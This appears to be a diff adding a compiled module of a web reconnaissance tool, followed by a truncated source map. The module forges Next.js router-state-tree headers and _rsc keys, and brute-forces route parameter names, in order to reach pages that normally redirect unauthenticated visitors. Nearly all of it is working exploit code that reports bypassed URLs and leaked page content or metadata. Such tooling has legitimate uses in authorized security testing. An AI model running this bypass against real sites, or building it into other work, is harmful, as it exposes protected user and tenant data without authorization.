35
+ /**
36
+ * Strong `_rsc` cache-busting key: SHA-256 of the four cache-busting inputs, truncated to
37
+ * 96 bits and base64url-encoded. Mirrors `computeCacheBustingSearchParam` in
38
+ * `shared/lib/router/utils/cache-busting-search-param.ts` — not a secret, any client can
39
+ * compute it from headers it itself sends.
40
+ */
41
+ export const computeStrongRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
42
+ const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
43
+ const digest = createHash("sha256").update(input).digest();
44
+ return digest.subarray(0, 12).toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
45
+ };
46
+ /**
47
+ * 32-bit djb2xor hash, as used by Next.js's legacy (non-cryptographic) cache-busting key.
48
+ * Mirrors `djb2Hash` in `shared/lib/hash.ts`.
49
+ */
50
+ const djb2Hash = (str) => {
51
+ let hash = 5381;
52
+ for (let i = 0; i < str.length; i++) {
53
+ hash = ((hash << 5) + hash + str.charCodeAt(i)) & 0xffffffff;
54
+ }
55
+ return hash >>> 0;
56
+ };
57
+ /**
58
+ * Legacy `_rsc` cache-busting key: `djb2Hash` of the same four inputs as
59
+ * `computeStrongRscKey`, base36-encoded and truncated to 5 characters. Mirrors
60
+ * `computeLegacyCacheBustingSearchParam`/`hexHash` in
61
+ * `shared/lib/router/utils/cache-busting-search-param.ts` / `shared/lib/hash.ts`. Cheaper
62
+ * to compute than the strong key, and some Next.js builds accept it as a fallback when the
63
+ * strong-key check fails (see `NEXT-RSC-002`) — no crypto required to probe with it first.
64
+ */
65
+ export const computeLegacyRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
66
+ const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
67
+ return djb2Hash(input).toString(36).slice(0, 5);
68
+ };
69
+ /**
70
+ * Common dynamic route param names to guess when the last ancestor segment might be a
71
+ * dynamic route (e.g. `[org]`, `[id]`) rather than a static one. Bounded to keep the
72
+ * per-candidate request count small; a miss just falls through to the next guess. Worst
73
+ * case per candidate URL: `(2 static attempts + this list's length)` guesses, each up to 2
74
+ * key modes (legacy/strong) and up to 2 leaf modes (page/metadata-only) — i.e. roughly
75
+ * `(2 + 20) * 2 * 2 = 88` requests before any RSC-body harvesting fallback (see
76
+ * `extractParamNameCandidatesFromFlightBody`) kicks in, which only spends further requests
77
+ * when this list's guesses all fail AND harvesting actually turns up a new name, capped by
78
+ * `--rsc-param-bruteforce-limit`.
79
+ */
80
+ const COMMON_DYNAMIC_PARAM_NAMES = [
81
+ "id",
82
+ "slug",
83
+ "org",
84
+ "orgId",
85
+ "organization",
86
+ "tenant",
87
+ "tenantId",
88
+ "username",
89
+ "userId",
90
+ "user",
91
+ "account",
92
+ "accountId",
93
+ "workspace",
94
+ "workspaceId",
95
+ "project",
96
+ "projectId",
97
+ "team",
98
+ "teamId",
99
+ "handle",
100
+ "name",
101
+ "key",
102
+ ];
103
+ /**
104
+ * Ancestor-segment claims worth trying per candidate path: first segment only, every
105
+ * segment but the leaf (both as plain static segments), and — for the latter, since a
106
+ * static-segment guess can never match a real dynamic route — the same set with its last
107
+ * segment additionally tried as each of `paramNameCandidates`. Defaults to
108
+ * `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this with RSC-body-
109
+ * harvested names as a fallback when the default list's guesses all fail.
110
+ */
111
+ export const buildAncestorAttempts = (pathSegments, paramNameCandidates = COMMON_DYNAMIC_PARAM_NAMES) => {
112
+ if (pathSegments.length === 0)
113
+ return [];
114
+ const attempts = [[pathSegments[0]]];
115
+ const allButLeaf = pathSegments.slice(0, -1);
116
+ if (allButLeaf.length > 0 && allButLeaf.join("/") !== pathSegments[0]) {
117
+ attempts.push(allButLeaf);
118
+ const withoutLastAncestor = allButLeaf.slice(0, -1);
119
+ const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
120
+ for (const paramName of paramNameCandidates) {
121
+ attempts.push([...withoutLastAncestor, { paramName, value: lastAncestorValue }]);
122
+ }
123
+ }
124
+ return attempts;
125
+ };
126
+ /** True when a Flight/RSC payload records a server-side redirect (the auth check actually ran). */
127
+ export const containsNextRedirectMarker = (body) => body.includes(NEXT_REDIRECT_MARKER);
128
+ /**
129
+ * Extracts `static/chunks/*.js` (including Turbopack `~`-separated names) references from a
130
+ * Flight payload body. Real payloads encode these WITHOUT a `_next/` prefix — e.g.
131
+ * `4:I[3330,["614","static/chunks/app/dashboard/secret/page-<hash>.js"],"default"]` — the
132
+ * client resolves them against its own asset prefix at runtime. An optional literal
133
+ * `_next/` prefix is still matched for payload shapes that do include it.
134
+ */
135
+ export const extractChunkPathsFromFlightBody = (body) => {
136
+ const matches = body.matchAll(/(?:_next\/)?static\/chunks\/[a-zA-Z0-9._\-/~]+\.js/g);
137
+ return [...new Set([...matches].map((m) => m[0]))];
138
+ };
139
+ /** Object-key-shaped identifiers that show up next to arbitrary string values in a Flight
140
+ * payload without being the real dynamic-route param name — prop/DOM-attribute-like keys
141
+ * that would otherwise slip past the value-anchored pattern below. `id` is included
142
+ * deliberately: it's already in `COMMON_DYNAMIC_PARAM_NAMES`, so a harvested `"id":"<value>"`
143
+ * hit would only ever duplicate an attempt already made. */
144
+ const PARAM_NAME_CANDIDATE_NOISE = new Set([
145
+ "children",
146
+ "className",
147
+ "key",
148
+ "ref",
149
+ "type",
150
+ "props",
151
+ "default",
152
+ "name",
153
+ "title",
154
+ "description",
155
+ "href",
156
+ "src",
157
+ "id",
158
+ "digest",
159
+ ]);
160
+ /**
161
+ * Extracts candidate dynamic-route param names from a Flight/RSC response body already
162
+ * fetched during a failed forge attempt. Two anchored patterns, deliberately narrow to keep
163
+ * the false-positive rate — and therefore the number of extra requests this feeds back into
164
+ * `buildAncestorAttempts` — low:
165
+ *
166
+ * 1. **Value-anchored key extraction.** Flight serializes plain-object props passed to
167
+ * Client Component boundaries as ordinary `"key":"value"` pairs, even though the payload
168
+ * as a whole isn't valid JSON/JS. The crawl already knows the ancestor's literal *value*
169
+ * (`knownValue`, e.g. `"acme-corp"`) but not its *key* — so a key quoted immediately next
170
+ * to that known value is a strong signal for the real `[paramName]`.
171
+ * 2. **Bracket-source pattern (dev-mode only).** Next.js dev error/stack payloads embed
172
+ * webpack module source paths verbatim, e.g.
173
+ * `webpack-internal:///(rsc)/./app/organizations/[org]/layout.tsx` — the bracketed
174
+ * segment there IS the real param name, no anchoring needed since `[name]` in a module
175
+ * path is unambiguous by construction.
176
+ */
177
+ export const extractParamNameCandidatesFromFlightBody = (body, knownValue) => {
178
+ if (!knownValue)
179
+ return [];
180
+ const escapedValue = knownValue.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
181
+ const candidates = new Set();
182
+ const anchored = body.matchAll(new RegExp(`"([A-Za-z_$][A-Za-z0-9_$]{0,40})"\\s*:\\s*"${escapedValue}"`, "g"));
183
+ for (const m of anchored)
184
+ candidates.add(m[1]);
185
+ const bracketed = body.matchAll(/\/\[([A-Za-z_$][A-Za-z0-9_$]{0,40})\]/g);
186
+ for (const m of bracketed)
187
+ candidates.add(m[1]);
188
+ return [...candidates].filter((c) => !PARAM_NAME_CANDIDATE_NOISE.has(c) && c.length <= 24);
189
+ };
190
+ /** Resolves an extracted chunk path (with or without a `_next/` prefix) to an absolute URL. */
191
+ const resolveChunkUrl = (chunkPath, origin) => {
192
+ const normalized = chunkPath.startsWith("_next/") ? chunkPath : `_next/${chunkPath}`;
193
+ return new URL(`/${normalized}`, origin).toString();
194
+ };
195
+ const REQUEST_TIMEOUT_MS = 15000;
196
+ /** Renders an ancestor-segment list back to its literal URL path, for the `Next-Url` header. */
197
+ const ancestorsToPath = (ancestors) => ancestors.map(ancestorSegmentValue).join("/");
198
+ /** Sends one forged-ancestor RSC request and reports whether it looks like a successful bypass. */
199
+ const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
200
+ var _a;
201
+ const stateTree = buildStateTreeHeader(ancestors, leafMode);
202
+ const nextUrl = "/" + ancestorsToPath(ancestors);
203
+ const rscKey = keyMode === "legacy" ? computeLegacyRscKey(stateTree, nextUrl) : computeStrongRscKey(stateTree, nextUrl);
204
+ const forgedUrl = new URL(candidateUrl);
205
+ forgedUrl.searchParams.set("_rsc", rscKey);
206
+ const forged = yield rawRequest(forgedUrl.toString(), {
207
+ timeout,
208
+ headers: {
209
+ RSC: "1",
210
+ "Next-Router-State-Tree": stateTree,
211
+ "Next-Url": nextUrl,
212
+ },
213
+ });
214
+ if (!forged)
215
+ return { success: false, body: "" };
216
+ const contentType = (_a = forged.headers["content-type"]) !== null && _a !== void 0 ? _a : "";
217
+ const success = forged.status === 200 && contentType.includes("text/x-component") && !containsNextRedirectMarker(forged.body);
218
+ return { success, body: forged.body };
219
+ });
220
+ /**
221
+ * Tries the cheap legacy key first (no SHA-256 needed); only computes and retries with the
222
+ * strong key if the legacy attempt didn't succeed. Reports which key mode actually worked.
223
+ */
224
+ const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
225
+ const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout);
226
+ if (legacy.success)
227
+ return Object.assign(Object.assign({}, legacy), { keyMode: "legacy" });
228
+ const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout);
229
+ return Object.assign(Object.assign({}, strong), { keyMode: "strong" });
230
+ });
231
+ const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
232
+ /**
233
+ * For each candidate page URL that redirects an unauthenticated request, retries as an
234
+ * RSC fetch with a forged `Next-Router-State-Tree` claiming known ancestor segments are
235
+ * already mounted. If Next.js skips re-executing that ancestor's layout component (see
236
+ * js-recon-internal-docs#142), the response comes back 200 without a NEXT_REDIRECT
237
+ * record — content a plain crawl would never see.
238
+ *
239
+ * Two leaf modes are tried per candidate: an ordinary `page` claim (full body disclosure)
240
+ * first, and — only if every `page` attempt fails — a `metadata-only` claim, which can
241
+ * still leak dynamic `generateMetadata()` output even where a full-body claim doesn't
242
+ * cleanly apply (e.g. a tenant-scoped layout).
243
+ *
244
+ * If every `COMMON_DYNAMIC_PARAM_NAMES` guess fails for both leaf modes, a bounded fallback
245
+ * kicks in (internal#158): every response body already returned by those failed attempts
246
+ * (no extra requests — it's information already paid for) is scanned via
247
+ * `extractParamNameCandidatesFromFlightBody` for the app's real param name. If that turns up
248
+ * any name not already in the fixed list, one bonus round of dynamic-guess attempts is tried
249
+ * with those harvested names (capped at `rscParamBruteforceLimit`; `0` disables this
250
+ * fallback entirely) — for each leaf mode, only if that leaf mode's fixed-list pass failed.
251
+ */
252
+ const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __awaiter(void 0, [candidateUrls_1, threads_1, ...args_1], void 0, function* (candidateUrls, threads, timeout = REQUEST_TIMEOUT_MS, rscParamBruteforceLimit = DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT) {
253
+ const bypassedUrls = [];
254
+ const metadataOnlyBypassedUrls = [];
255
+ const legacyKeyAcceptedUrls = [];
256
+ const newJsUrls = [];
257
+ yield runWithConcurrency(candidateUrls, threads, (candidateUrl) => __awaiter(void 0, void 0, void 0, function* () {
258
+ let parsed;
259
+ try {
260
+ parsed = new URL(candidateUrl);
261
+ }
262
+ catch (_a) {
263
+ return;
264
+ }
265
+ const segments = parsed.pathname.split("/").filter(Boolean);
266
+ if (segments.length === 0)
267
+ return;
268
+ // Only worth forging against routes that actually redirect an unauthenticated request.
269
+ const baseline = yield rawRequest(candidateUrl, { timeout });
270
+ if (!baseline || baseline.status < 300 || baseline.status >= 400)
271
+ return;
272
+ const recordChunks = (body) => {
273
+ for (const chunkPath of extractChunkPathsFromFlightBody(body)) {
274
+ newJsUrls.push(resolveChunkUrl(chunkPath, parsed.origin));
275
+ }
276
+ };
277
+ // The literal value of the ancestor segment that a dynamic-route guess would target
278
+ // (same one `buildAncestorAttempts` re-tries as each candidate param name), used to
279
+ // anchor RSC-body harvesting. `undefined` when there's no such candidate slot at all
280
+ // (matches `buildAncestorAttempts`'s own guard).
281
+ const allButLeaf = segments.slice(0, -1);
282
+ const lastAncestorValue = allButLeaf.length > 0 && allButLeaf.join("/") !== segments[0]
283
+ ? allButLeaf[allButLeaf.length - 1]
284
+ : undefined;
285
+ const harvestedNames = new Set();
286
+ const ancestorAttempts = buildAncestorAttempts(segments);
287
+ /** Tries every attempt in `attempts` under `leafMode`, harvesting param-name
288
+ * candidates from each body along the way; returns true and records the hit on the
289
+ * first success. */
290
+ const tryAttempts = (attempts, leafMode) => __awaiter(void 0, void 0, void 0, function* () {
291
+ for (const ancestors of attempts) {
292
+ const result = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout);
293
+ if (lastAncestorValue && result.body) {
294
+ for (const name of extractParamNameCandidatesFromFlightBody(result.body, lastAncestorValue)) {
295
+ harvestedNames.add(name);
296
+ }
297
+ }
298
+ if (result.success) {
299
+ const verb = leafMode === "page" ? "revealed content" : "revealed metadata";
300
+ const prefix = leafMode === "page"
301
+ ? "Forged next-router-state-tree bypass"
302
+ : "Forged metadata-only next-router-state-tree bypass";
303
+ printMsg(MSG.Run, `[✓] ${prefix} ${verb}: ${candidateUrl} (claimed ancestor: /${ancestorsToPath(ancestors)}, ${result.keyMode} _rsc key)`);
304
+ (leafMode === "page" ? bypassedUrls : metadataOnlyBypassedUrls).push(candidateUrl);
305
+ if (result.keyMode === "legacy")
306
+ legacyKeyAcceptedUrls.push(candidateUrl);
307
+ recordChunks(result.body);
308
+ return true;
309
+ }
310
+ }
311
+ return false;
312
+ });
313
+ /** Bonus round of dynamic-guess-only attempts built from names harvested so far but
314
+ * not already covered by the fixed wordlist; `[]` (no-op) if nothing new was found
315
+ * or the fallback is disabled. */
316
+ const harvestBonusAttempts = () => {
317
+ if (rscParamBruteforceLimit <= 0)
318
+ return [];
319
+ const newNames = [...harvestedNames].filter((n) => !COMMON_DYNAMIC_PARAM_NAMES.includes(n));
320
+ if (newNames.length === 0)
321
+ return [];
322
+ return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(2);
323
+ };
324
+ let bypassed = yield tryAttempts(ancestorAttempts, "page");
325
+ if (!bypassed)
326
+ bypassed = yield tryAttempts(harvestBonusAttempts(), "page");
327
+ if (bypassed)
328
+ return;
329
+ const metadataBypassed = yield tryAttempts(ancestorAttempts, "metadata-only");
330
+ if (!metadataBypassed)
331
+ yield tryAttempts(harvestBonusAttempts(), "metadata-only");
332
+ }));
333
+ return {
334
+ bypassedUrls: [...new Set(bypassedUrls)],
335
+ metadataOnlyBypassedUrls: [...new Set(metadataOnlyBypassedUrls)],
336
+ legacyKeyAcceptedUrls: [...new Set(legacyKeyAcceptedUrls)],
337
+ newJsUrls: [...new Set(newJsUrls)],
338
+ };
339
+ });
340
+ export default next_routerStateForge;
341
+ //# sourceMappingURL=next_routerStateForge.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"next_routerStateForge.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_routerStateForge.ts"],"names":[],"mappings":"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